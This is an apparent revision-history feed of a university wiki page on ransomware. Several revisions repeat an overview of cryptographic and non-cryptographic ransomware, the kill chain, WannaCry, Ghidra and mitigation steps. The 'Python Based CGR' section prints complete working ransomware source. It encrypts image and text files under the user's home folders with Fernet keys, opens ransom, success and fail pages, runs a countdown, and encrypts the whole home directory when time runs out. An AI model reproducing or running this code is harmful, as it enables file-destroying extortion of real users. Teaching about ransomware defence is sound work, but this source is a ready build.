              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to keyfile must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(keyfile)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5324</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5324"/>
		<updated>2020-12-20T18:21:25Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC in an attempt to extort money (bitcoins).&lt;br /&gt;
Modern day state of the art Ransomwares (which are Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://github.com/Mwape1997/AKITS_Ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 ransom.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;keyfile&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30)&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to keyfile must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(keyfile)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
          # ransom.tick()&lt;br /&gt;
          # ransom.canvas.after(1, ransom.tick())&lt;br /&gt;
          # ransom.root2.mainloop()&lt;br /&gt;
&lt;br /&gt;
          # ransom.generateKey()&lt;br /&gt;
&lt;br /&gt;
  # python3 ransom.py --action encrypt&lt;br /&gt;
  # python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5323</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5323"/>
		<updated>2020-12-20T18:19:34Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC in an attempt to extort money (bitcoins).&lt;br /&gt;
Modern day state of the art Ransomwares (which are Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
